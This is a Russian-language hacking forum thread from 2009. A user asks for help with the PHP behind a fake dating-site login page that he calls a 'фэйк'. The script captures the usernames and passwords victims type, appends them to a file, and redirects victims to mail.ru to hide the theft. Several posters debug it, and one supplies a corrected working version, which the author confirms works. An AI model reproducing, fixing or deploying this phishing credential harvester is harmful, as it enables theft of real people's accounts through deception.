PDA

Просмотр полной версии : что же здесь не так то???


Ferment
09.03.2009, 22:04
сделал очередной фэйк на знакомства, после ввода логина и пароля перекидывает человека куда нужно, к базе обращается и даже пишет в ней, но только двоеточие : , а не данные юзера
не глянете скрипт который за это отвечает, вроде всё проверил.....где ошибка?
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,"$Login:$Passw\n"); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html


?>

diznt
09.03.2009, 22:06
fwrite($fp,"$Login:$Passw\n");

я думаю надо так

fwrite($fp,$Login.":".$Passw);

пробуй

Gifts
09.03.2009, 22:09
Ferment Опечатка в коде, в одном месте $Pass в другом $Passw И еще одно - текст формы в студию, возможно поля называются не Login Password

Ferment
10.03.2009, 00:23
сделал как написал diznt но результат не изменился. так и присылает на базу двоеточие и всё......
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????!

?>

nonamez
10.03.2009, 00:40
$_POST['Password']
$_POST['Login']

скорей всего в этом дело-не правельные переменные пытаешься ловить

Pashkela
10.03.2009, 00:42
ТС просто не понимает, что он даже не весь код выложил

kl0yn
10.03.2009, 00:56
как уже говорили проверь в форме названия инпутов "Login", "Password".
Возможно данные с формы передаються методом get.
Вообщем, попробуй $_REQUEST['Login'] вместо $_POST['Login']

4adr0s
10.03.2009, 01:00
Я может и ламос, но вопрос такой: а не стоит ли переменные запятыми отделять??
fwrite($fp,$Login,":",$Passw);

eLWAux
10.03.2009, 01:01
если би хоть кто-то запустил, он би увидел ошибку
Parse error: parse error, expecting `')'' on line 9

<?php

$Login = $_POST['Login'];
$Pass = $_POST['Password'];
$fp = fopen("654321","a+");
fwrite($fp,"$Login:$Passw\n");
fclose($fp);

header(echo "<html><head><META HTTP-EQUIV='Refresh'
content ='0; URL=http://cards.mail.ru/card.html");

?>

видимо автор тупо скопировал скрипт
p.s.: даже при запуске пишет что ошибка на 9 строчке. так зачем ти ищеш ошибку во второй ?!

kl0yn
10.03.2009, 01:05
4adr0s,
int fwrite ( resource $handle, string $string [, int $length] )

$handle - хендл файла
$string - строка которую хочешь записать
$length - длина строки (этот параметр не объязателен)
т.е. максимум 3 параметра

а у тебя параметров 4

Sn@k3
10.03.2009, 01:08
двоеточия только записывает?)))) ну а ты задал login и пассоврд $ ?)))

kl0yn
10.03.2009, 01:30
TC просто спец в кодинге :)
https://forum.antichat.ru/thread109648.html

eLWAux
10.03.2009, 01:31
<?php

if (isset($_POST['Login']) && isset($_POST['Password'])) {
$Login = $_POST['Login'];
$Pass = $_POST['Password'];
$fp = fopen("654321","a+");
fwrite($fp,"$Login:$Pass\n");
fclose($fp);
}

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html";

?>

и не говори что не работает!
все проверил, все окей!

eLWAux
10.03.2009, 01:32
Модери, тему можна close
p.s.: тс, подучи php для начала хотя-би.. =\\

Ferment
10.03.2009, 22:27
разобрался, спасибо